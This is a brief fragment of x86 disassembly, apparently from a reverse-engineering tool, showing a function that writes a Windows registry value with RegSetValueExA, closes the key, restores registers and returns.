call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
add ebp, 0x64
leave
ret 0x14